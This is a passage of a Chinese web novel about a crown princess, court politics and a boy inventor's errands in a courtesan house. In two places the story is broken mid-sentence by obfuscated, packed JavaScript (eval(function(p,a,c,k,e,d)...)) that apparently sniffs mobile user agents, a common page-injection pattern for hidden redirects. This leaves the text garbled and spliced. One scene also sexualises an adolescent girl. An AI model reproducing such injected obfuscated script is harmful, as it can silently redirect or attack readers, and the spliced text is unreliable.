莺歌发出一记欢愉的笑声,扭动腰身如蛇般游入地上。 她扬起修长滑腻的脖子,像是吐着蛇信般得美人蛇,仰视自己的主人:“世间的‘正人君子’都会像殿下这样大声地呵斥奴家们,但‘君子们’的身体却很诚实。殿下,真可惜呢,你不是男子。不然,现在的你该是像他们一样,一边骂着大胆,一边会把诚实的手和目光伸向奴家,让奴家彻底为你的欲望展开身体……嗯……” 莺歌营造出的动情目光在金簪绷紧的脸色上滑过,双足在地上一点,翻了个身,侧躺在金簪的身边,幽幽道:“今日倒是玩得尽兴。” 金簪侧眸看着她,散了提起的心。 她发现刚刚竟然向莺歌跪了……环顾琉璃镜中狼狈的女孩,她一下子跌坐在地,莫名地抱紧双膝,试图以此平复内心的无错、燥意和某种不熟悉的冲动。 莺歌细细地瞧向金簪仿佛受了委屈的面色,想拍拍她安慰这个不懂情事的女孩,却只敢拍在地面。 尽兴过后就是落寞,落寞会引出丢掉的理智。她怕这个太女暴起杀人。 “殿下,这里只有我们两人,没人会说出你刚才的窘态。” 然而,金簪想说得不是这些,而是道:“天下的男人真得都是这样吗?” “呃……”莺歌忍不住捂住嘴,想要笑又不敢。她见金簪侧眸望来,颔首道:“不说一百个里全是,但九十九个半肯定是。” “……那还有个半个是什么?” “老和尚吧。有心无力,算半个。”莺歌理所当然道。 金簪默了下,深觉刚才的自己像是个大傻瓜。 她哼了声道:“你若要比斗舞,咱们堂堂正正比过。我不信比不过你,但不是你那种……那种……舞蹈。” “嘿。殿下……舞本来就是取悦之姿。上古的祈神舞,不是人想要取悦神灵吗?如今,无论是宫廷、还是教坊司的舞,不也是取悦观者吗?什么能达到最快的取悦方式?那就是情。直白点,情的欲望,做的欲望。 若按梵阆那性子,定是会说:不同的场合、不同的观者,动的情自然不一样。然则,殿下要得大爱之舞,奴家可没有,想来梵阆即使真有,也表达不尽此情。” 莺歌说着已经起身,扯下粉色的纱衣,捞过肚兜后穿上。 她见金簪撇开脸,又起了逗弄她的兴趣,故意将身体蹭向金簪的手臂,玩闹道:“殿下摸摸,很舒服呢。” 金簪挪了下身体,却发现自己的胸前被偷袭了。 她一把捂住胸前,喝道:“你做什么?” “唔,正在长大,以殿下现在的年纪继续保持住,以后一定比奴家得还壮观。” “你……”金簪自然不可能像普通女子一样大喊对方“无耻,”,何况莺歌还是个女子。她的应激反应启动,想着:孤第一次知道壮观这个词能形容女子这地方。 她突然生出一股强烈的羞涩,通红张脸,试着起身去捡丢掉的外袍。 莺歌已经穿戴整齐,反观金簪整理裙袍的动作,笑道:“这是女子的自豪之处,殿下不必羞怯。大有大的妙,小有小的好。无论怎样,这地方乃是一处莲房,哺育生命之地。不仅男子喜欢,女子更爱。多少女子想要一尝母亲的夙愿,恐怕终生都不得呢。” 金簪细带的手一顿,看向莺歌,目光落在她的双峰。 她的脑海里全是不慎扯下莺歌肚兜细带后乍现得惊人一幕。她暗吸口气道:“以后少来舞房,时机到时,孤自会送你出宫。” 莺歌看着兀自离去的金簪,玉手杵在润尖的下颚处,笑道:“梵阆倒也值了。对了,殿下……” 金簪在门帘前驻足,侧身等她说话。 “您不知道梵阆有一个弟弟吧?他啊,也在宫里呢。” 金簪震惊地侧身,看向莺歌,等她说出来。 “那人殿下见过的吧?他叫何丰,被帝王封为风神的何丰。”莺歌走至门口,向金簪款款行礼,而后离去。 金簪不知道是怎么回的寝殿,坐在案几前对着多宝盒发呆。 她想起在乾明宫前撞见何丰时他的慌乱……想起素来谨慎的梵阆竟会同帝王的宠娈有了交集……过往诸多的细节一一在脑海里浮现。她默默地垂眸,敛下幽光,喊道:“杜鹃……” 待杜鹃进来,金簪吩咐道:“孤记得父皇东行没有带上何丰,你去查下他现在在哪里,又为什么没有跟去东行。” “是。”杜鹃不知太女为何对何丰有兴趣,转身要走,又听金簪道。 “等等,你帮孤……算了。此事孤来办。”金簪挥退杜鹃,凝目在手中的多宝盒,动手拆解起来。 17. 入坑 “哟,这是什么呀?”季飞扬一把夺过凌云手里香气四溢的纸张,重重地嗅了口后笑道,“好闻,莫不是姑娘家的东西?”他逗着凌云来夺,边将纸张打开,一眼就落在两字:“风华……”【绝代啊。】 这一打开不得了。 季飞扬被上面碧落红尘般的惊人笔画震住了。 他本身不是好学的人,乍一见这般飞扬的秀美字迹,一时惊为天人,无形中就生出艳羡之情。 季飞扬躲开凌云再次探来的爪子,一跃上了房梁。 他不管凌云如何威胁、呼喊,就坐在梁上抚摸纸张上面的字迹。他还朝凌云耀武扬威地挥舞两下纸张,笑嘻嘻道:“这世间竟有人将‘风华’二字写得这般好,玲珑有形,笔笔动情。” 他再次低头嗅了下纸面散发的气息,陶醉般道:“这股芬芳浓而不烈,清而不淡,好好闻,好特别的味道。”他又嗅了下,随后就下了判断,“字迹秀美,芳香逼人,定是女子,且是既富又贵、贵极之女。” 季飞扬的脸上露出一种舒爽动情的神采,朝下面一本正经在生气的凌云喊道:“好弟弟,快说这是谁写的字?这味道的女人在哪?我可从未在市面上看过这般好看的字,莫不是哪家的闺秀?这香味也特别,我没在市井女子的身上闻到过呢。” 凌云哪里管香不香气、字好不好看,就想知道朝思暮想的坚空竹在什么地方。 他见季飞扬从高处扑来,赶紧将威胁用的袖箭放下。再去夺纸,人却被季飞扬反手给扣压在桌面。 “你放开我。我不知道。”凌云气呼呼喊道。 “这就是你不对了。”季飞扬一下打在凌云的屁股,将这哇哇叫的男娃子打红了脸,“说,告诉哥这个姑娘在哪?不然,我不告诉你上面写的坚空竹在什么地方。” 凌云气狠了,骂道:“你连字都认不全,怎么就看懂了在哪?” “嘿,不就在风华……你还取笑哥哥、想套哥哥的话了。哥哥偏不告诉你。”季飞扬放开他,将纸小心地折入怀中。他刚要夺门而出,一只短箭就钉在右侧的门框。 他立在原地不动,撇嘴哈了声,边点头边道:“好好好,为了这玩意连哥哥都射。” 凌云憋红了脸,垂头将装有袖箭的手放下来。 季飞扬转过身,见凌云如丧家之狗一样,不免想起两人无母的同病相连,而且这个弟弟是那种有父母却都不要他的可怜劲儿。 再有,这样的凌云像极雨夜被女子赶出楼得那个颓丧如狗的季飞扬。 “咳咳……”季飞扬赶跑脑海里的落魄形象,将怀里的纸张又取出来,递在小少年的面前,被他一把夺过去后笑道:“多要紧的东西,值得你这样大动肝火,连哥哥都敢射了。还有,这里面可不止你要得东西吧,还有人家托你办的事。你可别傻乎乎地着了道还不自知,被人卖了还替人数钱。” 凌云的心里微动,又有气又挺惭愧。他愧得不想理季飞扬,兀自将纸上的东西誊抄一遍,也看到了后面太女殿下要求办的事。 【请帮忙探听西教坊的梵阆身世。】 凌云愣了下,托季飞扬的福,第一天到京都就知道大名鼎鼎的东西教坊。 他记得祖父提过一嘴,太女十五岁时要上登令楼、在众百姓的围观下在楼上跳舞。至于登令楼是何模样,有没有围栏屋子,他全都不知道。但是,凌云知道祖父常为此事烦扰,说明在登令楼上跳舞是很不好的事。 【殷罗姑姑说过:教太女殿下舞蹈得正是从西教坊选去的舞师。】 凌云压下脑海里一闪而过的想法,沉默寡言地开始誊抄。待他抄完,看向旁边好整以暇、蹲守观字的季飞扬,蹙眉道:“这字写得好?” 此句一出,刚才两人的龃龉已经散了。 季飞扬有一股与生俱来的豪性,让他对很多小事都不在意,比方凌云刚才的举动。他更担心凌云被人当枪使。 不过,面对凌云得这句问话,他想老实地回答。 季飞扬摸在纸上几透纸背的字,点在让他眼前发光的“风华”二字,想起他第一次入西教坊时被上了年纪的公子哥取笑的场面。 当时,有人站出来替季飞扬解围,用得就是一句:“千老那句:彼时春衫少年郎,笑看风华不知愁。说的不是这般大的少年嘛。大家就放过他吧。” 季飞扬每每想起那位紫衣男子的气度风韵,就会心生羡慕。 【若是我也能像那男人般潇洒不羁、雅俗共鉴,定不枉此生。】 眼下这一笔惊艳的字里,尤其那“风华”二字,让他对纸后的女子充满了犹如对紫衣男子般的艳羡和遐想。 季飞扬摸着纸上的字迹,边赏边用白话道:“不比你我写得好吗?看看你那八爪字,我那鬼画符……再瞧瞧这张纸上的一笔一勾,匀而有力、浓而有情。写字的女子没个辛苦劲儿绝到不了这程度。这不叫好字,啥叫好? 你这小木匠都呆进木头里去了。来,告诉哥哥,这张纸哪来呢,谁叫你查这个西教坊的梵阆?” 季飞扬见凌云沉默,杵下巴猜测道:“宫里?” 凌云微微睁大了眸。 “中了。若说这宫里,莫不是那什么什么……什么守藏阁里某位凌祖父认识的女官?”季飞扬眉飞色舞道,“拥有这般字体、这般香气的女子腹有诗书,定是守藏阁的女官。说,她叫什么?哪家的姑娘?年方几何,可有婚嫁?又为何要查西教坊的梵阆?” 凌云已经目瞪口呆了,望着这般的季飞扬都转不过弯。 季飞扬见他傻样,直接放过小木匠。他又道:“如今能进宫里当女官,这京都除耳闻能详的高医正家有一位女太医外……司空李源家也有一位吧。莫不是他家的二姑娘?” 凌云听他越猜越不靠谱,直接起身推他:“走走走,我要忙了。你去外头找那什么李源姑娘吧。” “李源是司空大人,他家的二姑娘好像叫李柳絮。”季飞扬假装被他推动,就被推出了门。 他扒在门口,朝肃张脸的凌云道,“回头抄完了将那纸送我。回报就是哥帮你去查那梵阆。” “啪”得一声,房门在季飞扬的面前关上了。 季飞扬哼唧了声,摇着手指玩笑道:“小气啊小气。没有哥,你进得去西教坊那种地方嘛。有你求哥的时候。” 他走两步,又喃喃道,“不行,我得去探探这李府的二姑娘。若是来个月下逢佳人,啧……嘿嘿……” 屋内的凌云誊抄完,又对着纸上的“风华镇”三字发起呆。 他起身离桌,顿了下,回身将桌面上的纸捡起后小心地放在鼻尖前轻嗅,半响后无语道:“这是多宝盒的柳松木香、蜀州贡纸的竹香,再有东都石墨混合龙涎的复合香气。什么女儿香,傻哥……傻飞扬。” 自此后,季飞扬这个哥哥的名头在凌云这里抬不起来了。 小凌云将纸塞入怀,暗暗下决心一定要将字练好,不被傻飞扬嫌弃。至于西教坊的梵阆……他决定先搞清楚风华镇在哪里。 然而,此日过后,凌云问了凌飞、乃至查了家里最新的书、以及外面店铺可以买到的地理志,都没有查到风华镇的下落。 他又猜测起来:难道她不知道外面已经没有风华镇这个地方了吗?不对。祖父说过近代司马大人编撰的地理志上已没有风华镇这个地方。太女博学至此,怎么可能不知道外头没有风华镇这个地方。她难道是……难道是在等我给她回信,然后再告诉我风华镇在哪? 凌云机巧的心思被自身的想法深深地震住了。他歪着头看向桌面上的多宝盒,莫名有些郁闷。他虽小,却不是傻子,甚至很聪明。他悟到后不免有些难以言说的失落。 他又自我告知:“不可能。或许她真不知道风华镇在哪吧,待我问问。” 但是,他看着纸面上:请帮忙探听西教坊的梵阆身世。 这句话在他幼小的内心深处被反复解读,末了,他来句:“算了。来而不往非礼也。我就去打探一下,得了答案再问她吧。” 季飞扬早知道凌云会为此事出门,已经蹲守他两天,而且,他已深夜探过李府。 李府二小姐李柳絮是个书呆子,身上的笔墨香气用得是京都贵女常用的幽兰香和墨兰墨,也没有风华拂眼般令人眼前一亮的字迹。 季飞扬虽是个粗人,也有细心风流之处。 撇开这些可入宫官员的女儿,他想起了凌飞少保的身份,这天下最富最贵的女子,不正是那天下第一的女子——太女轩辕金簪嘛。 “听听,轩辕……金簪,这名字就透着自古以来的贵富之气。哎,这凌云啊,祖父被太女一党当枪使,孙儿也要着了道。不行,作为好哥哥得拉他一把,帮他脱离苦海。” 凌云独身在西教坊的高楼大匾前徘徊,找龟奴问了句就被轰下檐廊。 季飞扬一点金色亮在龟奴的眼底,被龟奴奉为上宾。 他拉着木呆呆的凌云随龟奴入了西教坊司,朝可爱的弟弟道:“瞧见没,得那点真东西才能入楼。学着点。”他见凌云点头,又趁机道,“哥哥帮你办成此事,你记得将那纸送给哥哥。” 凌云闻言,只木然地跟在他后面,被龟奴一起请入雅阁。 季飞扬瞧着那只飞来的如穿花蝴蝶般的漂亮老鸨,笑道:“别说了,将你们这资历最老的姑娘给少爷请过来。春雪姑姑新任不久,还是当红美人,怎么能算老人呢?” 说着,他将一块银钿拍在桌面。 银子市价如铁,虽不值钱也是钱。 春雪虽是西教坊的新管事,看不上这点东西,但是被季飞扬的气度风流、乃至言辞里的话儿勾起了兴趣。 这个少年,她曾在高楼下俯见过一回。那时候他还是个初入楼的青涩毛躁性子,现在混迹多地已经滑不留手,还是有些成长的。 此时,春雪呵呵笑道:“季公子这嘴是抹了蜜,有段时间没见你了,莫不是流连哪个美人楼子去了。说起咱们教坊司,年中走了一批。现下,论资历,有谁比得过奴家春雪。” “那春雪美人,小爷向你打听点事。”季飞扬左右一看。 春雪眼明心亮,举绣帕一摆手,那些闻风跟来的年轻姑娘们一一退出雅间。 春雪将眼神落在凌云处。这般连毛都没长齐就被带出来,怕是哪家的富贵子好奇这烟花之地吧。 “受人所托,向你打听个人。回答的好,这条份量十足的小黄鱼就是春雪美人了。”季飞扬将小拇指粗的金条放在桌面,朝一旁已经看呆的凌云眨眨眼。 春雪瞧了眼小黄鱼的色泽,咧了唇后婉婉道:“那得看公子想打听得是谁。” “梵阆。”季飞扬眼见春雪变脸,赶紧上前拦她,“春雪美人,别急着走。有话好说。” 春雪还没见过这般无赖的少年郎君,还是个刚长成的年纪。 说不定他还只敢摸女儿家的手。 她反客为主,一把拂过少年郎君的耳鬓,见他两眼放光,反倒咯噔了下。她不由笑道:“好风流的性子,以后是个令天下女子伤心的负心薄幸。” “哎,本少爷风流但不下流,多情但不滥情。日后可是这天下最风流的侠客。春雪美人就卖我一个面子。”季飞扬说着就去搂春雪的腰肢。 春雪虽已退出一线花魁的行列,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好吧。据闻梵阆有一个弟弟,不过在幼时已失散了。但是,现在的舞艺司侍……莺歌,她在入宫前与我说过,梵阆在京都找到了弟弟。后来如何,大家都不知道。梵阆已死,莺歌入宫,谁也不知道那个弟弟在哪。我们也没处告知他梵阆的死讯。说来,快两年了呀。” 春雪说到这,不免要自嘲句,“我们这种人的死活,谁会关心呢?” 她缓缓地笑了,有几分凄清,乃至薄情般得自讥:“听说宫里得那位重情,将梵阆葬在玉林山。那地方美极了,在京都的官员里传着是个风水宝地。比起我们死后裹一张薄席扔去郊外乱葬岗,她这算是顶顶好的归宿吧。” 季飞扬哈了声,一把扭过春雪的腰肢,在她红如绛珠的唇上用指点了下。 “瞧瞧咱们的春雪美人这嘴说得多动人,本公子的心都被你揪住了。” “死性。”春雪被他逗笑了。这人竟还是个怜花的主儿呢。 她捶了下季飞扬的胸膛,转眸睨向不声不响的凌云,幽幽道,“小公子还想知道什么?这教坊司的女子经历大同小异,凄凉的身世,辛苦的学艺生涯,绞尽脑汁地讨客人欢愉,最后幸运如我当个管事。不然,于后堂寻个差事了此残生,又或者被赶去郊外的破落庄子被乡野无知亵玩,因病而死。若说像梵阆、莺歌这样的经历,算是古来少有,得感谢咱们那爱生子如命的皇帝。” “哟哟哟,好一个爱生子如命。”季飞扬都被春雪的性情给折了,赞许道,“你这小嘴也不怕遭祸啊?” “那还不是两位公子遭了春雪。”春雪油滑地回道。 凌云下地要走了。 季飞扬赶紧跟上,回头朝倚靠门栏的春雪道:“公子我先送他回家,晚间来寻你。” 一个风流的眨眼抛来,逗得春雪咯咯直笑。她还朝离去的两兄弟挥舞了几下帕子。 两兄弟走出楼后,春雪上了顶层的雅间。 她朝屋里的男人徐徐作揖,言道:“冲着梵阆的身世而来。期间,奴家提了君上,对方……好似仰慕君上。”她将楼下发生的事一一说给屋里的人听。 帘后的男子倚在栏杆前,俯视街上远去的大小少年郎。 他沉吟一会,头也不回道:“少不更事的孩子对传闻里的美人好奇吧。晚间,你别当真,放过那姓季的少年。” 春雪没想到他会护那个风流多情的公子哥儿,不解道:“今日不是奴家也会是别得女人入他的怀。” “他是个天生的风流性子,但是,他背后的人还在教育着他。如他所言,风流不下流。你如常待之,莫要做那男女之事,以免引得他日后坏了精力。” 春雪被噎了一下。 她嗔怪道:“奴家就这么不值钱了,什么好赖猪都能被拱一下,哼。” “呵,勿怪。男人……尤其是男孩一旦尝了鲜,岂还能忍住这种事,而不被欲支配。此子的精力得留着,本君日后有大用,绝不可耗在这等事上。”男人转过身,露出一张富贵闲人的脸。 他不是别人,正是曾经帮助过季飞扬的紫琴君。 春雪被勾起了好奇心,但也知道不可再深入打探君上的用意。 她颔首后应下句,转身而去。 待人离去,紫琴君抚摸室内衣架上的金色舞衣,幽幽地笑叹了声。 “东都云雨,登令楼约,帝不可崩。 轩辕夏得活着,风子鸾得活着,太女金簪也得活着。 天下分崩离析已在眼前,岂敢不邀诸君共赏? 呵,明日十五一期大朝,南有起义军,西南轩辕月辉,东有帝王,西有西戎摩尔,北方……燕地三府,该是你们出手的时候了。天下五分,群雄并起。乱世,它要来了。” 在这番话下,北方、燕地而来的加急快马正在连夜疾驰,向京都北城门奔来。 西边的英雄大道上也有两骑快马先后相距四十里路狂奔向京都。 夜在到来,而星月一直轮转,明日又是风云际会的一天。 18. 情谊 “报……” “恭喜太女殿下。禀太宰,西行关大捷。摩尔人往寒雪关退逃。” “太好了太好了……” “京都的危机终于解除了。” …… 凌飞出列道:“此时,燕地兵马若绕过秦连长墙北段,阻截摩尔人西退之路……” “报……” 司空李源接过朱红急报,在风子鸾的示意下当堂拆解。观后,他震在原地。 他仰面看向空空的龙椅,再及沉目望来的太女金簪,再至威严的风子鸾,环顾众多好奇的朝臣,向风子鸾行礼后递上急报。 他递去的手从微颤到大颤,几拿不住急报。 风子鸾嫌弃地睨了李源一眼,一把拿过信纸细瞧。然则,他观过后瞳孔大震,怒喊道:“凌飞,你该当何罪?” 凌飞一震,接住砸来的急报,上面只有一行字: “北地三道府(北盛、北延、北海)联合反了。” 北地寒灾,大批民众冻饿而死。 三道府地界饿殍遍野、路有冻死骨,军人收都收不过来。如此境地,如何做?等朝堂拨响银?笑话。 那就抢,南下去抢。 “报……” 李源猛地回过神,喊道:“报什么报,招进来说。”他这才发现声音已经颤抖得不成样子,掩袖轻咳了两声。 “禀诸位大人,石鸣春带着他的大军抢了西戎人的东西,沿秦连长墙向北逃了。” 有些官员当即镇不住,当堂跌坐在地,失了仪态。 凌飞急切道:“此前战报不是说石鸣春将军带了三万人马吗?这三万人都沿秦连长墙逃了?那……摩尔人呢?” “石将军的副手们一直说有这么多人,但实际上他们一骑三马,听声音多,实则不过五千骑左右。 西面的摩尔人抢带大量的财物、粮食,以及锁绑男女为奴。他们这队伍走不快,被石将军趁机冲乱。 摩尔人且战且退,后来带走了吃粮和财物退返寒雪关。但是,石将军的队伍……打了摩尔人,抢了他们的东西,拉着那些百姓往北地去了……” 风子鸾当即一脚踹向凌飞,将他踢跪在地,怒喝道:“凌飞,你引北地兵马入都劫掠,千古罪人。” 百官噤若寒蝉。 风子鸾赤目欲裂,仰头看向站直的金簪,大声怒喝:“回六卿寮所再议。”说完,他快步走出大朝堂,向官禄道奔去。 一众官员抹着汗、颤着腿,尾随风子鸾而去。 沈长清去扶凌飞,却怎么都拉不起人。 他低声耳语道:“凌大人,别这样。太女还在上面站着呢。” 凌飞这才抬头看向站得笔直的金簪,挪了膝盖向她行跪磕大礼。 金簪缓缓地走下台阶。 半道上,她回身看向高高在上的龙椅。盘踞金椅的两条巨龙像是这世间的纷杂绳索,紧紧地缠住她的心。 她暗暗地深吸口气,毅然去扶起凌飞。 “少保大人,此时不是自责的时候,西戎遭天灾,北方又如何能避免?说来都是朝廷无能,发不出银子、拨不出粮饷令北地有了异心。” 沈长清帮着扶起凌飞,叹了声道:“今逢乱世,我等诸人竟……”察觉手腕被凌飞捏住,他连忙收了口。 金簪扯唇角,淡定道:“孤带你们去六卿寮所。” 凌飞和沈长清愕然地睁大了眸,不解金簪的用意。 “如今,孤已经说不出‘大周’这个堂堂国名。北地自立一事关乎京都地区的存亡。既然,山不来就我等,我等去就山。” 金簪说完仰首挺胸,率先向六卿寮所而去。 皇权面子是什么? 那是和平富有时的景上繁花,如今这般田地,再顾着那点虚无的东西,不如直接散了吧。 沈长清和凌飞对视一眼,各自苦笑。 风子鸾还需金簪的血统和名义,没将她拒在六卿寮外。不过,六卿内殿没有金簪的位置,她得站在风子鸾的下手,听着各大臣的建议。 第一派,举朝奔赴东都,与夏夔帝合在一处。大家在一起,力量大,扛得住日后北方南下的举动。 第二派,出动风瑶骑兵,拦截石鸣春,减少京畿附近几道府的百姓损失。 第三派,按兵不动。北地三府反了,也是如西戎人一样抢东西。他们抢够就会回去。 余下一些不吭声者,大概是怎么样都可以,先顾好自家。此番波涛之下,又有多少人在打着逃离京都、保全家业的想法。 凌飞听他们将“抢百姓”三字说得如此轻易,真是怒不可遏。他想要发作,却见金簪的面色镇定而沉着,也渐稳下来。 风子鸾敲击桌面,撇了金簪几眼,沉声道:“本宰令楚甲子为风瑶副将,由他带风瑶骑兵西行寒雪关,注意摩尔人的动向。另,派驻军严守北地燕门关,不令燕地兵马南下。除此外……” 他如狼的目光从诸多官员的身上掠过,凉薄的唇角略勾,冷笑道:“招兵买马,重组强军守城。如今,京畿遭逢大劫,国库空虚,百官皆有私田粮场,诸位大人聊表一下,慰劳新军以及骑兵吧。” “这……”嘴快得出了一声就不敢再吱。 余下众人私下互看,纷纷向风子鸾行礼。 “各去寮所做事。”风子鸾威严下行,百官不敢多言,各自散去。 他看向垂目欲走的金簪,觑着她的背影道:“殿下,请回天机宫用太女印鉴写一封出征诏。楚甲子乃是楚刘素的长子嫡孙,也是楚家仅剩的男人。这世上还能调的动他家的人也只有殿下您的名义。” 金簪不言,跨步而去。 【名义,乃是大周太女的名义,而非金簪本人。论忠君,谁能抵得过楚家。 然则,太保三子先后死在西征摩尔人、苦守寒雪关的战役,楚家欲夺回西六府三城而历代不得。太保楚刘素老来也战死英雄大道西行关。 如今……轮到他家仅剩的孙子么。】 天机宫内,沈长清不免为楚家捏把汗。 凌飞亦是沉默不言。 金簪提笔写下出征诏,随即又将写好的诏书扔了。她拔下头簪,刺破指尖,以血代墨在太女诏上书写。 “殿下……” “殿下……使不得……” 南叶和杜鹃、沈长清和凌飞纷纷阻止金簪此举。 金簪却固执道:“太保楚刘素对孤有恩。当年正是他、孙太傅和祈太师三人将母后、孤送上如今的位置。 据孤所知,楚甲子是楚家唯一剩下的男丁,楚府中也只余一名老太君。 如若他此次答应出征,生死未卜,不以血书何以平太君之怒?” “殿下血书,岂不是逼他一定要去……”沈长清说到这不免哑口。 金簪凝目,毅然以血指写完。 【是,孤就是要逼他去。风瑶骑兵乃是大周最强的兵马,是最后的屏障。风子鸾肯召楚甲子入风瑶骑兵,这是孤的机会。】 指尖的刺痛令金簪皱紧眉宇。这时候,她才意识到自身的血可以这样冷,不仅不为楚甲子说话,还要亲手将他送上一条绝路,逼楚家的孤祖独孙入绝境。 “沈少傅,由你带宫侍前去吧。”她将出征诏写完,将旨递给沈长清。 南叶赶紧帮她止血。 杜鹃帮着沈长清在诏上盖下太女印鉴。 凌飞目送沈长清离去,看向金簪道:“老夫轻狂了,请殿下降罚。” “无错何罚?当日,风子鸾不肯再损风瑶骑兵,不令兵马西行。若非你的建议,摩尔人早到京都门下,何来这月余的太平。驱狼逐虎之策,怎么用都是用。 如今,风子鸾惜命,不肯再领兵出征,招楚甲子入骑兵营。这是楚家的机会。 若他自此能归来。尔等与孤无论如何都要保下他。 对了,请少保将这份手稿转交令孙。 如若他能赶在楚甲子出征前制出来。那么,即使战胜不了西戎,也能守住寒雪关、震慑北延三府,替孤、大周争取些时间。” 凌飞亲手接过厚厚得一捧手稿,粗略观之,诧异道:“这些是……” “托老师的福,孤近日翻遍守藏阁内所有关于古时战争的书,按其上说明手绘这些图稿。至于它们能不能用,得看令孙的本事。”金簪说出这些话时,心里明白一件事。 凌飞的孙儿凌云恐怕也要随军出征,至于凌飞舍不舍得孙儿,决定权在他的手上。 金簪轻出口气,上盘入局皆是子,可用或不可用便在这些牵牵绕绕中。 【轩辕祖地、藏龙山一行,教给孤得正是此番道理。大周轩辕氏真正的强大乃是轩辕氏在成长当中本身所学的本事。 这些本领的来处就积攒在守藏阁,乃至一片忠心的臣子手上。如今,孤祈愿先祖庇佑,希望这些武器和战西戎的方法都能奏效,再保大周几年吧。】 凌飞自是明白金簪的用意,向他行礼后拿了手稿离去。 金簪看向他留下的多宝盒,取来后摸索在机巧之处,并未打开。她记得那个孩子不过六岁有余,却要背负这些,也是不易呢。 她将多宝盒递给南叶道:“摆在多宝架上吧。” “是。”南叶接过后就去归置。 她不明白金簪为什么不打开这个盒子,说不定那个未曾谋面的灵巧少年又遇到麻烦求殿下解决,还能博得殿下一笑呢。 ** 凌飞回府前,季飞扬拿着他爹给的竹梢点在双腿打颤的凌云小腿上,狞笑道:“站稳了,别打颤。” 凌云磨牙,呼呼道:“怎么可能不打颤?” “嘿,你哥我自出生下地就以这个姿势喝水、吃饭、瞌睡、拉屎,就不打颤。”季飞扬得意道。 “人吃五谷轮回,你一个姿势干完全部也是厉害。”凌云磕巴道,见着一旁的水漏满后倾斜,听着哗啦啦的水声,一屁股坐到地上,“到时间了。” 季飞扬笑了几声,陪他蹲坐在地。他望着漂浮的闲云,畅想道:“你说那……” “什么?”凌云假装不明白。 “宫里那个……见到我的情书会怎么样?”季飞扬的多情眸滴溜溜地转着,弯起好看的唇角,发出嘻嘻笑声。 凌云暗暗翻个白眼,全是因为西教坊一行受制于人,才不得不将那份肉麻兮兮的情书塞入多宝盒。 “不知道。” “啧,不知道凌爷爷回来没,我得去前堂看着。说不定他将对方的回信给带来了。”季飞扬说着就要跑,被凌云一把扯住了腰带。 “作甚?你不休息么。” “你背我一起去。”凌云执意道,“我也想知道风华镇的信息。” 季飞扬无法,将他背在身上往前堂走去。 凌云哼哼唧唧的舒坦了,就道:“你怎么会喜欢她呢?人家那身份怎么可能给你回信,她也不知道你是谁。” “不懂了吧。少女心事深如海,若她知道宫外有个痴情人想与她一见,说不定会想方设法出宫来见我呢。对了,我让你制作的飞虎爪制成了吗?” “图纸成了,以精钢丝缠绳,刀枪不断。不过,老虎爪还得精冶,要专们的铁匠人。 柳观巷尽头那家的手艺不错,你将图纸带去那边打吧。 那老板姓甲,单名一个‘子’,自诩一身的力气没处使就爱打铁。”凌云想起那店里的打铁少年,露了笑意。 “甲子?好怪的名字。”季飞扬走着走着就加快脚步,也不去外堂,直接往门外凌云的院子走去。 “他说,他祖父希望他处处拔得头筹,然他祖母希望他处处做小孙子,就取了这么个两相兼顾的名字,大概是想要他长命百岁。”凌云将听来的话转给他,又道,“你想拿图纸去柳观巷?” “对。有了这个飞虎爪,别说出入府院,就是金宫深庭,小爷都敢去闯一下见佳人。”季飞扬得意地笑道。 两人取了图纸就马不停蹄赶往柳观巷的“路人甲打铁铺”。 然而,铺子里的炉火燃着,却不见店里的师父和老板铁匠。季飞扬问了旁边的大婶。 大婶瞧他模样好,笑道:“好像是被家人找回去了,说是有急事。唉,这年头除了那吃人的西戎人打到城门外,别得都不叫事。你们改日再来吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“够意思啊。不过,我听你这意思,明天你不在啊?”季飞扬也不急着走了,瞧了眼一旁打瞌睡的凌云,朝楚甲子道,“你请我打铁,我请你喝酒,怎样?哥和西教坊的春雪美人是朋友,咱们去那喝。” 楚甲子没立马应,与内心一直以来的教养斗争了一会。 他一抿唇,咬牙道:“那你等着我。” “好嘞,爽快。”季飞扬走去捞起凌云,朝一旁忙碌的甲子道,“带着这个拖油瓶不方便,我先将他送回去,你在这里等我。” “好。”楚甲子应道。待人走后,他又喃喃道:“若是出去就是死,不妨先痛快一番。” “咚咚咚……”的敲击声接连响起。 晚间,季飞扬怕殷罗唠叨,将凌云放进了他的卧室,又同一句话来不及说的掬梅交代句后跃墙跑走了。 凌飞赶来时只见凌云累得睡着了,叹了口气后道:“掬梅,备一点吃食过来。我将他唤醒。” 掬梅不解,觉得还是让小少爷睡着合适。但她还是依了凌飞的吩咐去做事。 这厢凌云半梦半醒间瞧见一堆漂亮的字在眼前飞,直到那些奇怪的线条组成一把极其眼熟的凤弩。 他稀里糊涂地喃喃道:“轩辕姬时期的凤凰连弩,克狼兽大军的利器。”他猛地清醒过来,一把夺过凌飞手里的图纸,爬跑至矮几的灯火下细细观摩,“祖父,怎么没有细稿?” “如你那般的细稿没有,但是有粗稿。”凌飞将桌上一叠手稿推给凌云,看着专注的孙儿,幽幽道,“可能赶制出来?它们很重要。” 凌云没过脑的点头,随即反应过来,诧异地看向一脸严肃的凌飞。他嗅了下鼻子,朝捧盘盏的掬梅露出大大的笑容:“多谢梅姨,好饿啊。” 凌飞无法,干什么也得等人吃饱饭吧。他就看着孙儿用膳,边将目的说出来。 ** 这厢,楚甲子给季飞扬将精钢丝箍在老虎爪上,甩着成品发出呼呼风声。他玩笑道:“这可是偷袭暗访的好东西。兄弟做这个打算干什么去?” “嘿。”季飞扬取回成品,用布包好后别在后腰。他一把拉住汗淋淋的楚甲子出了铁铺,笑嘻嘻道:“边走边说。” 片刻后,春雪就给这两个少年安排雅间,唤个刚出台的姑娘给两人唱曲。 随后,她就去忙碌了。 楚甲子听季飞扬一路的初恋经历,半响后无语道:“因为那笔字,你就当她是梦里情人?” 